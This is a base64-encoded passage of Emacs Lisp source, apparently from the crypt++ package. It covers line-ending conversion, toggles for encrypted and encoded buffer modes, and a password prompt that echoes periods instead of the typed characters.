IHRvIGVuY29kZSBhbiBlbnRpcmUgYnVmZmVyLgoKICAob3IgYnVmZmVyIChzZXRxIGJ1ZmZlciAo Y3VycmVudC1idWZmZXIpKSkKICAoc2F2ZS1leGN1cnNpb24gKHNldC1idWZmZXIgYnVmZmVyKQog ICAgICAgICAgICAgICAgICAoY3J5cHQtZW5jb2RlLXJlZ2lvbiAocG9pbnQtbWluKSAocG9pbnQt bWF4KSBkZWNvZGUpKSkKCgwKOzs7OyBET1MgPC0tPiBVTklYCihkZWZ1biBjcnlwdC1kb3MtdG8t dW5peC1yZWdpb24gKHN0YXJ0IGVuZCkKICAiQ29udmVydHMgcmVnaW9uIGZyb20gU1RBUlQgdG8g RU5ELCBmcm9tIGRvcyB0byB1bml4IGZvcm1hdC4KUmVwbGFjZXMgXCJcXHJcXG5cIiB3aXRoIFwi XFxuXCIgYW5kLCBpZiBleGlzdHMsIHJlbW92ZXMgXlogYXQgZW5kIG9mIGZpbGUuClNldHMgYGNy eXB0LWRvcy1oYXMtY3RybC16Jy4iCiAgKHNhdmUtZXhjdXJzaW9uCiAgICA7KG1lc3NhZ2UgImRv aW5nIGRvcyB0byB1bml4IikKICAgIChzYXZlLXJlc3RyaWN0aW9uCiAgICAgIChsZXQgKChyZW1v dmUtY3RybC16IChlcXVhbCBlbmQgKHBvaW50LW1heCkpKSkKICAgICAgICAobmFycm93LXRvLXJl Z2lvbiBzdGFydCBlbmQpCiAgICAgICAgKGdvdG8tY2hhciAocG9pbnQtbWluKSkKICAgICAgICAo d2hpbGUgKHNlYXJjaC1mb3J3YXJkICJcclxuIiBuaWwgdCkKICAgICAgICAgIChyZXBsYWNlLW1h dGNoICJcbiIgbmlsIHQpKQogICAgICAgIChpZiByZW1vdmUtY3RybC16CiAgICAgICAgICAgIChw cm9nbgogICAgICAgICAgICAgIChnb3RvLWNoYXIgKDEtIChwb2ludC1tYXgpKSkKICAgICAgICAg ICAgICAoc2V0cSBjcnlwdC1kb3MtaGFzLWN0cmwteiAobG9va2luZy1hdCAiXEMteiIpKQogICAg ICAgICAgICAgIChpZiBjcnlwdC1kb3MtaGFzLWN0cmwteiAocmVwbGFjZS1tYXRjaCAiIikpKSkp KSkpCgooZGVmdW4gY3J5cHQtdW5peC10by1kb3MtcmVnaW9uIChzdGFydCBlbmQpCiAgIkNvbnZl cnRzIHJlZ2lvbiBmcm9tIFNUQVJUIHRvIEVORCwgZnJvbSBkb3MgdG8gdW5peCBmb3JtYXQuClJl cGxhY2VzIFwiXFxuXCIgd2l0aCBcIlxcclxcblwiIGFuZCBhZGRzIGEgXlogYXQgZW5kIG9mIGZp bGUgaWYKYGNyeXB0LWRvcy1oYXMtY3RybC16JyBpcyBub24tbmlsLiIKICAoc2F2ZS1leGN1cnNp b24KICAgIDsobWVzc2FnZSAiZG9pbmcgdW5peCB0byBkb3MiKQogICAgKHNhdmUtcmVzdHJpY3Rp b24KICAgICAgKGxldCAoKGFkZC1jdHJsLXogKGFuZCBjcnlwdC1kb3MtaGFzLWN0cmwtegogICAg ICAgICAgICAgICAgICAgICAgICAgICAgKGVxdWFsIGVuZCAocG9pbnQtbWF4KSkpKSkKICAgICAg ICAobmFycm93LXRvLXJlZ2lvbiBzdGFydCBlbmQpCiAgICAgICAgKGdvdG8tY2hhciAocG9pbnQt bWluKSkKICAgICAgICAod2hpbGUgKHNlYXJjaC1mb3J3YXJkICJcbiIgbmlsIHQpCiAgICAgICAg ICAocmVwbGFjZS1tYXRjaCAiXHJcbiIgbmlsIHQpKQogICAgICAgIChpZiBhZGQtY3RybC16CiAg ICAgICAgICAgIChwcm9nbgogICAgICAgICAgICAgIChnb3RvLWNoYXIgKHBvaW50LW1heCkpCiAg ICAgICAgICAgICAgKGluc2VydCAiXEMteiIpKSkpKSkpCgo7Ozs7IE1BQyA8LS0+IFVOSVgKKGRl ZnVuIGNyeXB0LW1hYy10by11bml4LXJlZ2lvbiAoc3RhcnQgZW5kKQogICJDb252ZXJ0cyByZWdp b24gZnJvbSBTVEFSVCB0byBFTkQsIGZyb20gbWFjIHRvIHVuaXggZm9ybWF0LgpSZXBsYWNlcyBc IlxcclwiIHdpdGggXCJcXG5cIi4iCiAgKHNhdmUtZXhjdXJzaW9uCiAgICA7KG1lc3NhZ2UgImRv aW5nIG1hYyB0byB1bml4IikKICAgIChzYXZlLXJlc3RyaWN0aW9uCiAgICAgIChuYXJyb3ctdG8t cmVnaW9uIHN0YXJ0IGVuZCkKICAgICAgKGdvdG8tY2hhciAocG9pbnQtbWluKSkKICAgICAgKHdo aWxlIChzZWFyY2gtZm9yd2FyZCAiXHIiIG5pbCB0KQoJKHJlcGxhY2UtbWF0Y2ggIlxuIiBuaWwg dCkpCiAgICAgICkpKQoKKGRlZnVuIGNyeXB0LXVuaXgtdG8tbWFjLXJlZ2lvbiAoc3RhcnQgZW5k KQogICJDb252ZXJ0cyByZWdpb24gZnJvbSBTVEFSVCB0byBFTkQsIGZyb20gbWFjIHRvIHVuaXgg Zm9ybWF0LgpSZXBsYWNlcyBcIlxcblwiIHdpdGggXCJcXHJcIi4iCiAgKHNhdmUtZXhjdXJzaW9u CiAgICA7KG1lc3NhZ2UgImRvaW5nIHVuaXggdG8gbWFjIikKICAgIChzYXZlLXJlc3RyaWN0aW9u CiAgICAgIChuYXJyb3ctdG8tcmVnaW9uIHN0YXJ0IGVuZCkKICAgICAgKGdvdG8tY2hhciAocG9p bnQtbWluKSkKICAgICAgKHdoaWxlIChzZWFyY2gtZm9yd2FyZCAiXG4iIG5pbCB0KQoJKHJlcGxh Y2UtbWF0Y2ggIlxyIiBuaWwgdCkpCiAgICAgICkpKQoKDAo7Ozs7IE1PREVTCgooZGVmdW4gY3J5 cHQtZW5jcnlwdGVkLW1vZGUgKCZvcHRpb25hbCBhcmcpCgogICJUb2dnbGUgZW5jcnlwdGVkIG1v ZGUuICBXaXRoIEFSRywgdHVybiBvbiBpZmYgcG9zaXRpdmUsIG90aGVyd2lzZSB0dXJuIG9mZi4K bWlub3IgbW9kZSBpbiB3aGljaCBidWZmZXJzIGFyZSBhdXRvbWF0aWNhbGx5IGVuY3J5cHRlZCBi ZWZvcmUgYmVpbmcgd3JpdHRlbi4KaWYgdG9nZ2xlZCBhbmQgYSBrZXkgaGFzIGJlZW4gc2V0IGZv ciB0aGUgY3VycmVudCBidWZmZXIsIHRoZW4gdGhlIGN1cnJlbnQKYnVmZmVyIGlzIG1hcmtlZCBt b2RpZmllZCwgc2luY2UgaXQgbmVlZHMgdG8gYmUgcmV3cml0dGVuIHdpdGggb3Igd2l0aG91dApl bmNyeXB0aW9uLgoKRW50ZXJpbmcgZW5jcnlwdGVkIG1vZGUgY2F1c2VzIGF1dG8tc2F2aW5nIHRv IGJlIHR1cm5lZCBvZmYgaW4gdGhlIGN1cnJlbnQKYnVmZmVyLCBhcyB0aGVyZSBpcyBubyB3YXkg aW4gRW1hY3MgTGlzcCB0byBmb3JjZSBhdXRvIHNhdmUgZmlsZXMgdG8gYmUKZW5jcnlwdGVkLiIK CiAgKGludGVyYWN0aXZlICJQIikKICAobGV0ICgob2xkdmFsIGNyeXB0LWJ1ZmZlci1zYXZlLWVu Y3J5cHRlZCkpCiAgICAoc2V0cSBjcnlwdC1idWZmZXItc2F2ZS1lbmNyeXB0ZWQKICAgICAgICAg IChpZiBhcmcgKD4gYXJnIDApIChub3QgY3J5cHQtYnVmZmVyLXNhdmUtZW5jcnlwdGVkKSkpCgog ICAgKGlmIGNyeXB0LWJ1ZmZlci1zYXZlLWVuY3J5cHRlZAogICAgICAgIDs7IFdlIGFyZSBnb2lu ZyB0byBzYXZlIGFzIGVuY3J5cHRlZCwgd2Ugd2lsbCB0dXJuIG9mZiBhdXRvLXNhdmluZy4KICAg ICAgICAocHJvZ24KOzsgTkVWRVIgZG8gdGhpcy4gIFR1cm5pbmcgb2ZmIGF1dG8tc2F2aW5nIGlz IG9uZSB0aGluZy4gIEJ1dCBpZiB0aGVyZSdzCjs7IGFscmVhZHkgYW4gYXV0b3NhdmUgZm9yIHNv bWUgb3RoZXIgcmVhc29uLCB3aGF0IGJ1c2luZXNzIGRvZXMgdGhpcwo7OyBwYWNrYWdlIGhhdmUg dGFtcGVyaW5nIHdpdGggaXQ/CjsgICAgICAgICAgOzsgSWYgYW4gYXV0by1zYXZlIGZpbGUgYWxy ZWFkeSBleGlzdHMsIHRoZW4gZGVsZXRlIGl0Lgo7ICAgICAgICAgIChpZiAoYW5kIChzdHJpbmdw IGJ1ZmZlci1hdXRvLXNhdmUtZmlsZS1uYW1lKQo7ICAgICAgICAgICAgICAgICAgIChmaWxlLWV4 aXN0cy1wIGJ1ZmZlci1hdXRvLXNhdmUtZmlsZS1uYW1lKSkKOyAgICAgICAgICAgICAgKGRlbGV0 ZS1maWxlIGJ1ZmZlci1hdXRvLXNhdmUtZmlsZS1uYW1lKSkKICAgICAgICAgIDs7IElmIHRoZSBr ZXkgaXMgbm90IHNldCB0aGVuIGFzayBmb3IgaXQuCiAgICAgICAgICAoaWYgKG5vdCBjcnlwdC1i dWZmZXItZW5jcnlwdGlvbi1rZXkpCiAgICAgICAgICAgICAgKGNhbGwtaW50ZXJhY3RpdmVseSAn Y3J5cHQtc2V0LWVuY3J5cHRpb24ta2V5KSkKICAgICAgICAgIDs7IEVuY3J5cHRlZCBmaWxlcyBz aG91bGQgbm90IGJlIGNvbnZlcnRlZC4KICAgICAgICAgIChzZXRxIGJ1ZmZlci1maWxlLWNvZGlu Zy1zeXN0ZW0gJ25vLWNvbnZlcnNpb24pCiAgICAgICAgICA7OyBUdXJuLW9mZiBhdXRvLXNhdmlu ZyBpZiBjcnlwdC1lbmNyeXB0ZWQtZGlzYWJsZS1hdXRvLXNhdmUgbm9uLW5pbC4KICAgICAgICAg IChhbmQgY3J5cHQtZW5jcnlwdGVkLWRpc2FibGUtYXV0by1zYXZlCiAgICAgICAgICAgICAgIGF1 dG8tc2F2ZS1kZWZhdWx0CiAgICAgICAgICAgICAgIChwcm9nbgogICAgICAgICAgICAgICAgIChh dXRvLXNhdmUtbW9kZSAwKQogICAgICAgICAgICAgICAgIChpZiAoZXEgY3J5cHQtZW5jcnlwdGVk LWRpc2FibGUtYXV0by1zYXZlIHQpCiAgICAgICAgICAgICAgICAgICAgIChtZXNzYWdlICJBdXRv LXNhdmUgb2ZmIChpbiB0aGlzIGJ1ZmZlcikiKSkpKSkKCiAgICAgIDs7IFdlIGFyZSBub3QgZ29p bmcgdG8gc2F2ZSBhcyBlbmNyeXB0ZWQsIHdlIHdpbGwgdHVybiBvbiBhdXRvLXNhdmluZwogICAg ICA7OyBidXQgb25seSBpZiB3ZSBhcmUgZWRpdGluZyBhIGZpbGUgYW5kIHRoZSBkZWZhdWx0IHNh eXMgd2Ugc2hvdWxkLgogICAgICAoYXV0by1zYXZlLW1vZGUgKGlmIChhbmQgYXV0by1zYXZlLWRl ZmF1bHQgYnVmZmVyLWZpbGUtbmFtZSkgMSAwKSkpCgogICAgKGlmIGNyeXB0LWJ1ZmZlci1lbmNy eXB0aW9uLWtleQogICAgICAgIDs7IFNldCBidWZmZXItbW9kaWZpZWQgZmxhZyB0byB0IG9ubHkg aWYgdGhlIG1vZGUgaGFzIGJlZW4gY2hhbmdlZCwKICAgICAgICA7OyBvbGQgY29kZSBzZXQgdW5j b25kaXRpb25hbGx5IHRvIG5pbCBpZiBtb2RlIHdhcyBub3QgY2hhbmdlZCAuCiAgICAgICAgOzsg TW9kaWZpY2F0aW9uIHN1Z2dlc3RlZCBieTogR2VyZCBIaWxsZWJyYW5kIDxnZ2hAY3MuYnJvd24u ZWR1PgogICAgICAgIChpZiAobm90IChlcSBvbGR2YWwgY3J5cHQtYnVmZmVyLXNhdmUtZW5jcnlw dGVkKSkKICAgICAgICAgICAgKHNldC1idWZmZXItbW9kaWZpZWQtcCB0KSkpKSkKCgwKOzs7IE9y aWdpbmFsbHkgYHRlay1zeW1ib2wtYWxpc3QtdG8tdGFibGUnIGZyb20gdGVrLWhpZ2hsaWdodC5l bC4KKGRlZnVuIGNyeXB0LXN5bWJvbC1hbGlzdC10by10YWJsZSAobGlzdCkKICA7OyBDb252ZXJ0 cyBhbiBhbGlzdCBvZiBzeW1ib2xzIHRvIGEgdGFibGUgc3VpdGFibGUgZm9yIGBjb21wbGV0aW5n LXJlYWQuJwogIDs7IENhbGxlZCBieSBgY3J5cHQtcmVhZC1lbmNvZGluZy10eXBlJwogIChtYXBj YXIgKGZ1bmN0aW9uIChsYW1iZGEgKHgpIChsaXN0IChzeW1ib2wtbmFtZSAoY2FyIHgpKSkpKQog ICAgICAgICAgbGlzdCkpCgooZGVmdW4gY3J5cHQtcmVhZC1lbmNvZGluZy10eXBlICgpCgogIDs7 IEZ1bmN0aW9uIGNhbGxlZCB0byBxdWVyeSB1c2VyIGZvciBgY3J5cHQtYnVmZmVyLWVuY29kaW5n LXR5cGUnIHVzZXMKICA7OyBjb250ZW50cyBvZiBgY3J5cHQtZW5jb2RpbmctYWxpc3QnIGFuZCBg Y3J5cHQtZGVmYXVsdC1lbmNvZGluZy4nCgogIDs7IFVzZSBwb29yIG1hbidzIGdtaGlzdCAoaS5l Liwgd2UgY291bGQgaGF2ZSB1c2VkIGdtaGlzdCdzCiAgOzsgYGNvbXBsZXRpbmctcmVhZC13aXRo LWhpc3RvcnktaW4nIGluc3RlYWQpLgogIChsZXQgKAogICAgICAgIDs7IEZpbmQgdGhlIGVuY29k aW5nIHR5cGUgZGVzaXJlZCBieSB1c2VyLgogICAgICAgICh0eXBlCiAgICAgICAgIChjb21wbGV0 aW5nLXJlYWQKICAgICAgICAgIChjb25jYXQgImVuY29kaW5nIHR5cGUgKD8gZm9yIGxpc3QpOiBb IiBjcnlwdC1kZWZhdWx0LWVuY29kaW5nICJdICIpCiAgICAgICAgICAoY3J5cHQtc3ltYm9sLWFs aXN0LXRvLXRhYmxlIGNyeXB0LWVuY29kaW5nLWFsaXN0KSkpKQoKICAgIDs7IFRlc3QgbGVuZ3Ro IG9mIG9iamVjdCByZXR1cm5lZCBieSBgY29tcGxldGluZy1yZWFkJy4KICAgIChpZiAoemVyb3Ag KGxlbmd0aCB0eXBlKSkKCiAgICAgICAgOzsgTm90aGluZyB0aGVyZSwgaS5lLiwgdXNlciBoaXQg cmV0dXJuIC0tIHVzZSBkZWZhdWx0LgogICAgICAgIChzZXRxIGNyeXB0LWJ1ZmZlci1lbmNvZGlu Zy10eXBlIChpbnRlcm4gY3J5cHQtZGVmYXVsdC1lbmNvZGluZykpCgogICAgICA7OyBVc2UgdGhl IHZhbHVlIGZyb20gbWluaS1idWZmZXIgYW5kIHVwZGF0ZSB0aGUgZGVmYXVsdCB2YWx1ZS4KICAg ICAgKHNldHEgY3J5cHQtYnVmZmVyLWVuY29kaW5nLXR5cGUgKGludGVybiB0eXBlKQogICAgICAg ICAgICBjcnlwdC1kZWZhdWx0LWVuY29kaW5nIHR5cGUpKSkpCgooZGVmdW4gY3J5cHQtZW5jb2Rl ZC1tb2RlICgmb3B0aW9uYWwgYXJnKQoKICAiVG9nZ2xlIGVuY29kZWQgbW9kZS4gIFdpdGggQVJH LCB0dXJuIG9uIGlmZiBwb3NpdGl2ZSwgb3RoZXJ3aXNlIHR1cm4gb2ZmLgptaW5vciBtb2RlIGlu IHdoaWNoIGJ1ZmZlcnMgYXJlIGF1dG9tYXRpY2FsbHkgZW5jb2RlZCBiZWZvcmUgYmVpbmcgd3Jp dHRlbi4gIGlmCnRvZ2dsZWQgdGhlbiBjdXJyZW50IGJ1ZmZlciBpcyBtYXJrZWQgbW9kaWZpZWQs IHNpbmNlIGl0IG5lZWRzIHRvIGJlIHdyaXR0ZW4Kd2l0aCBvciB3aXRob3V0IGVuY29kaW5nLgoK RW50ZXJpbmcgZW5jb2RlZCBtb2RlIGNhdXNlcyBhdXRvLXNhdmluZyB0byBiZSB0dXJuZWQgb2Zm IGluIHRoZSBjdXJyZW50CmJ1ZmZlciwgYXMgdGhlcmUgaXMgbm8gd2F5IGluIEVtYWNzIExpc3Ag dG8gZm9yY2UgYXV0byBzYXZlIGZpbGVzIHRvIGJlCmVuY29kZWQuIgoKICAoaW50ZXJhY3RpdmUg IlAiKQoKICA7OyBTZXQgZmxhZyBpbmRpY2F0aW5nIHdoZXRoZXIgb3Igbm90IGAoY3J5cHQtZW5j b2RlZC1tb2RlKScgd2FzIGNhbGxlZAogIDs7IGludGVyYWN0aXZlbHkuCiAgKHNldHEgY3J5cHQt YnVmZmVyLWludGVyYWN0aXZlLWVuY29kZWQtbW9kZSAoaW50ZXJhY3RpdmUtcCkpCgogIDs7IElm IGNhbGxlZCBpbnRlcmFjdGl2ZWx5IHRoZW4gbmVlZCB0byBkZXRlcm1pbmUgZW5jb2RpbmcgdHlw ZS4KICAoaWYgKGFuZCBjcnlwdC1idWZmZXItaW50ZXJhY3RpdmUtZW5jb2RlZC1tb2RlCiAgICAg ICAgICAgKG5vdCBjcnlwdC1idWZmZXItZW5jb2RpbmctdHlwZSkpCiAgICAgIChjcnlwdC1yZWFk LWVuY29kaW5nLXR5cGUpKQoKICA7OyBTYXZlIG9sZCB2YWx1ZSBvZiBgY3J5cHQtYnVmZmVyLXNh dmUtZW5jb2RlZCcuCiAgKGxldCAoKG9sZHZhbCBjcnlwdC1idWZmZXItc2F2ZS1lbmNvZGVkKSkK CiAgICA7OyBTZXQgdGhlIHZhcmlhYmxlIGBjcnlwdC1idWZmZXItc2F2ZS1lbmNvZGVkJyB0byB0 IGlmIHRoZSBhcmd1bWVudCBpcwogICAgOzsgcG9zaXRpdmUsIG90aGVyd2lzZSB0b2dnbGUgaXRz IGN1cnJlbnQgdmFsdWUuCiAgICAoc2V0cSBjcnlwdC1idWZmZXItc2F2ZS1lbmNvZGVkCiAgICAg ICAgICAoaWYgYXJnICg+IGFyZyAwKSAobm90IGNyeXB0LWJ1ZmZlci1zYXZlLWVuY29kZWQpKSkK CiAgICA7OyBTZXQgdGhlIHZhcmlhYmxlIGdlbmVyYXRlZCBieSBgKGNyeXB0LWJ1ZmZlci1zYXZl LW5hbWUpJyB0byB0aGUgdmFsdWUKICAgIDs7IHN0b3JlZCBpbiBgY3J5cHQtYnVmZmVyLXNhdmUt ZW5jb2RlZC4nCiAgICAoc2V0LXZhcmlhYmxlIChjcnlwdC1idWZmZXItc2F2ZS1uYW1lIGNyeXB0 LWJ1ZmZlci1lbmNvZGluZy10eXBlKQogICAgICAgICAgICAgICAgICBjcnlwdC1idWZmZXItc2F2 ZS1lbmNvZGVkKQoKICAgIChpZiBjcnlwdC1idWZmZXItc2F2ZS1lbmNvZGVkCiAgICAgICAgOzsg V2UgYXJlIGdvaW5nIHRvIHNhdmUgYXMgZW5jb2RlZCwgd2UgbWlnaHQgdHVybiBvZmYgYXV0by1z YXZpbmcuCiAgICAgICAgKHByb2duCjs7IE5FVkVSIGRvIHRoaXMuICBUdXJuaW5nIG9mZiBhdXRv LXNhdmluZyBpcyBvbmUgdGhpbmcuICBCdXQgaWYgdGhlcmUncwo7OyBhbHJlYWR5IGFuIGF1dG9z YXZlIGZvciBzb21lIG90aGVyIHJlYXNvbiwgd2hhdCBidXNpbmVzcyBkb2VzIHRoaXMKOzsgcGFj a2FnZSBoYXZlIHRhbXBlcmluZyB3aXRoIGl0Pwo7ICAgICAgICAgIDs7IElmIGFuIGF1dG8tc2F2 ZSBmaWxlIGFscmVhZHkgZXhpc3RzLCB0aGVuIGRlbGV0ZSBpdC4KOyAgICAgICAgICAoaWYgKGFu ZCAoc3RyaW5ncCBidWZmZXItYXV0by1zYXZlLWZpbGUtbmFtZSkKOyAgICAgICAgICAgICAgICAg ICAoZmlsZS1leGlzdHMtcCBidWZmZXItYXV0by1zYXZlLWZpbGUtbmFtZSkpCjsgICAgICAgICAg ICAgIChkZWxldGUtZmlsZSBidWZmZXItYXV0by1zYXZlLWZpbGUtbmFtZSkpCiAgICAgICAgICA7 OyBUdXJuLW9mZiBhdXRvLXNhdmluZyBpZiBjcnlwdC1lbmNvZGVkLWRpc2FibGUtYXV0by1zYXZl IG5vbi1uaWwuCiAgICAgICAgICAoYW5kIGNyeXB0LWVuY29kZWQtZGlzYWJsZS1hdXRvLXNhdmUK ICAgICAgICAgICAgICAgYXV0by1zYXZlLWRlZmF1bHQKICAgICAgICAgICAgICAgKHByb2duCiAg ICAgICAgICAgICAgICAgKGF1dG8tc2F2ZS1tb2RlIDApCiAgICAgICAgICAgICAgICAgKGlmIChl cSBjcnlwdC1lbmNvZGVkLWRpc2FibGUtYXV0by1zYXZlIHQpCiAgICAgICAgICAgICAgICAgICAg IChtZXNzYWdlICJBdXRvLXNhdmUgb2ZmIChpbiB0aGlzIGJ1ZmZlcikiKSkpKSkKCiAgICAgIDs7 IFdlIGFyZSBub3QgZ29pbmcgdG8gc2F2ZSBhcyBlbmNvZGVkLCB3ZSB3aWxsIHR1cm4gb24gYXV0 by1zYXZpbmcgYnV0CiAgICAgIDs7IG9ubHkgaWYgd2UgYXJlIGVkaXRpbmcgYSBmaWxlIGFuZCB0 aGUgZGVmYXVsdCBzYXlzIHdlIHNob3VsZC4KICAgICAgKGF1dG8tc2F2ZS1tb2RlIChpZiAoYW5k IGF1dG8tc2F2ZS1kZWZhdWx0IGJ1ZmZlci1maWxlLW5hbWUpIDEgMCkpKQoKICAgIDs7IEhhdmUg d2UgdG9nZ2xlZCB0aGUgbW9kZT8KCiAgICA7OyBJZiB5ZXMsIHRoZW4gbWFyayBidWZmZXIgYXMg bW9kaWZpZWQuICBJZiBub3QsIHRoZW4gbGVhdmUKICAgIDs7IGJ1ZmZlci1tb2RpZmllZCBmbGFn IGFsb25lLgoKICAgIDs7IFRoZSBvbGQgY29kZSBwcmV2aW91c2x5IHNldCB0aGUgdmFyaWFibGUg YHNldC1idWZmZXItbW9kaWZpZWQtcCcgdG8gYQogICAgOzsgdmFsdWUgb2YgdCBpZiB0aGVyZSB3 YXMgYSBtb2RlIGNoYW5nZSBhbmQgKHVuY29uZGl0aW9uYWxseSkgdG8gbmlsCiAgICA7OyBpZiB0 aGVyZSB3YXMgbm90IGEgbW9kZSBjaGFuZ2UuCgogICAgOzsgTW9kaWZpY2F0aW9uIHN1Z2dlc3Rl ZCBieTogR2VyZCBIaWxsZWJyYW5kIDxnZ2hAY3MuYnJvd24uZWR1Pi4KCiAgICAoaWYgKG5vdCAo ZXEgb2xkdmFsIGNyeXB0LWJ1ZmZlci1zYXZlLWVuY29kZWQpKQogICAgICAgIChzZXQtYnVmZmVy LW1vZGlmaWVkLXAgdCkpKSkKCgwKOzs7OyBBZGRpdGlvbmFsIGVuY3J5cHRpb24gZnVuY3Rpb25z Cgo7OyBGb3IgRW1hY3MgVjE4IGNvbXBhdGliaWxpdHkKKGFuZCAobm90IChmYm91bmRwICdidWZm ZXItZGlzYWJsZS11bmRvKSkKICAgICAoZmJvdW5kcCAnYnVmZmVyLWZsdXNoLXVuZG8pCiAgICAg KGZzZXQgJ2J1ZmZlci1kaXNhYmxlLXVuZG8gJ2J1ZmZlci1mbHVzaC11bmRvKSkKCihkZWZ1biBj cnlwdC1yZWFkLXN0cmluZy1uby1lY2hvIChwcm9tcHQgJm9wdGlvbmFsIGNvbmZpcm0pCgogIDs7 IFJlYWQgYSBzdHJpbmcgZnJvbSBtaW5pYnVmZmVyLCBwcm9tcHRpbmcgd2l0aCBQUk9NUFQsIGVj aG9pbmcgcGVyaW9kcy4KICA7OyBPcHRpb25hbCBzZWNvbmQgYXJndW1lbnQgQ09ORklSTSBub24t bmlsIG1lYW5zIHRoYXQgdGhlIHVzZXIgd2lsbCBiZQogIDs7IGFza2VkIHRvIHR5cGUgdGhlIHN0 cmluZyBhIHNlY29uZCB0aW1lIGZvciBjb25maXJtYXRpb24gYW5kIGlmIHRoZXJlIGlzIGEKICA7 OyBtaXNtYXRjaCwgdGhlIHdob2xlIHByb2Nlc3MgaXMgcmVwZWF0ZWQuCiAgOzsKICA7OyAgICAg ICAgIExpbmUgZWRpdGluZyBrZXlzIGFyZSAtLQogIDs7ICAgICAgICAgICBDLWgsIERFTCAgICAg IHJ1Ym91dAogIDs7ICAgICAgICAgICBDLXUsIEMteCAgICAgIGxpbmUga2lsbAogIDs7ICAgICAg ICAgICBDLXEsIEMtdiAgICAgIGxpdGVyYWwgbmV4dAoKICAoY2F0Y2ggJ3JldHVybi12YWx1ZQog ICAgKHNhdmUtZXhjdXJzaW9uCgogICAgICAobGV0ICgoaW5wdXQtYnVmZmVyIChnZXQtYnVmZmVy LWNyZWF0ZSAobWFrZS10ZW1wLW5hbWUgIiAqcGFzc3dvcmQqIikpKQogICAgICAgICAgICBjaGFy IGhvbGQtcGFzc3dvcmQgaGVscC1mb3JtIGtpbGwtcmluZykKCiAgICAgICAgKHNldC1idWZmZXIg aW5wdXQtYnVmZmVyKQogICAgICAgIDs7IERvbid0IGFkZCB0byB1bmRvIHJpbmcuCiAgICAgICAg KGJ1ZmZlci1kaXNhYmxlLXVuZG8gaW5wdXQtYnVmZmVyKQoKICAgICAgICAobGV0ICgoY3Vyc29y LWluLWVjaG8tYXJlYSB0KQogICAgICAgICAgICAgIChlY2hvLWtleXN0cm9rZXMgMCkpCgogICAg ICAgICAgKHVud2luZC1wcm90ZWN0CgogICAgICAgICAgICAgIDs7IEJPRFlGT1JNCiAgICAgICAg ICAgICAgOzsgUmVwZWF0IHVudGlsIHdlIGdldCBhIGB0aHJvdycuCiAgICAgICAgICAgICAgKHdo aWxlIHQKICAgICAgICAgICAgICAgIChlcmFzZS1idWZmZXIpCiAgICAgICAgICAgICAgICAobWVz c2FnZSAiJXMiIHByb21wdCkJOyBhdm9pZCBlcnJvcnMgaWYgIiUiIGluIHByb21wdAoKICAgICAg ICAgICAgICAgIDs7IFJlYWQgc3RyaW5nLgogICAgICAgICAgICAgICAgKHdoaWxlIChub3QgKG1l bXEgKHNldHEgY2hhciAocmVhZC1jaGFyKSkgJyg/XEMtbSA/XEMtaikpKQogICAgICAgICAgICAg ICAgICAoaWYgKHNldHEgaGVscC1mb3JtCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAoY2Ry CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKGFzc3EgY2hhcgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICcoKD9cQy1oIC4gKGRlbGV0ZS1jaGFyIC0xKSkKICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICg/XEMtPyAuIChkZWxldGUtY2hhciAtMSkpCiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoP1xDLXUgLiAoZGVsZXRlLXJlZ2lv biAxIChwb2ludCkpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgKD9cQy14 IC4gKGRlbGV0ZS1yZWdpb24gMSAocG9pbnQpKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICg/XEMtcSAuIChxdW90ZWQtaW5zZXJ0IDEpKQogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgKD9cQy12IC4gKHF1b3RlZC1pbnNlcnQgMSkpKSkpKQogICAgICAg ICAgICAgICAgICAgICAgKGNvbmRpdGlvbi1jYXNlIGVycm9yLWRhdGEKICAgICAgICAgICAgICAg ICAgICAgICAgICAoZXZhbCBoZWxwLWZvcm0pCiAgICAgICAgICAgICAgICAgICAgICAgIChlcnJv ciB0KSkKICAgICAgICAgICAgICAgICAgICA7OyBKdXN0IGEgcGxhaW4gY2hhcmFjdGVyIC0gaW5z ZXJ0IGludG8gcGFzc3dvcmQgYnVmZmVyLgogICAgICAgICAgICAgICAgICAgIChpbnNlcnQgY2hh cikpCgogICAgICAgICAgICAgICAgICA7OyBJIHRoaW5rIGNyeXB0LXJlYWQtc3RyaW5nLW5vLWVj aG8gc2hvdWxkIGVjaG8gYXN0ZXJpc2tzLgogICAgICAgICAgICAgICAgICA7OyAtLSBKYW1pZS4g SG93IGFib3V0IHBlcmlvZHMgbGlrZSBpbiBhbmdlLWZ0cD8gLS0gbHJkCiAgICAgICAgICAgICAg ICAgIDs7CiAgICAgICAgICAgICAgICAgIChtZXNzYWdlICIlcyVzIiBwcm9tcHQgKG1ha2Utc3Ry aW5nIChidWZmZXItc2l6ZSkgPy4pKSkKCiAgICAgICAgICAgICAgICA7OyBEbyB3ZSBoYXZlIHRv IGNvbmZpcm0gcGFzc3dvcmQ/CiAgICAgICAgICAgICAgICAoY29uZAoKICAgICAgICAgICAgICAg ICA7OyBObyBjb25maXJtYXRpb24gcmVxdWVzdGVkIC0gdGVybWluYXRlLgogICAgICAgICAgICAg ICAgICgobm90IGNvbmZpcm0pCiAgICAgICAgICAgICAgICAgICh0aHJvdyAncmV0dXJuLXZhbHVl IChidWZmZXItc3RyaW5nKSkpCgogICAgICAgICAgICAgICAgIDs7IENhbiB3ZSBjb21wYXJlIChj b25maXJtKSBwYXNzd29yZCB2YWx1ZXMgeWV0PwogICAgICAgICAgICAgICAgIChob2xkLXBhc3N3 b3JkCiAgICAgICAgICAgICAgICAgIChpZiAoc3RyaW5nPSBob2xkLXBhc3N3b3JkIChidWZmZXIt c3RyaW5nKSkKICAgICAgICAgICAgICAgICAgICAgIDs7IFRoZSB0d28gcGFzc3dvcmRzIG1hdGNo IC0gdGVybWluYXRlLgogICAgICAgICAgICAgICAgICAgICAgKHRocm93ICdyZXR1cm4tdmFsdWUg aG9sZC1wYXNzd29yZCkKCiAgICAgICAgICAgICAgICAgICAgOzsgTWlzbWF0Y2ggLSBzdGFydCBv dmVyLgogICAgICAgICAgICAgICAgICAgIChwcm9nbgogICAgICAgICAgICAgICAgICAgICAgKG1l 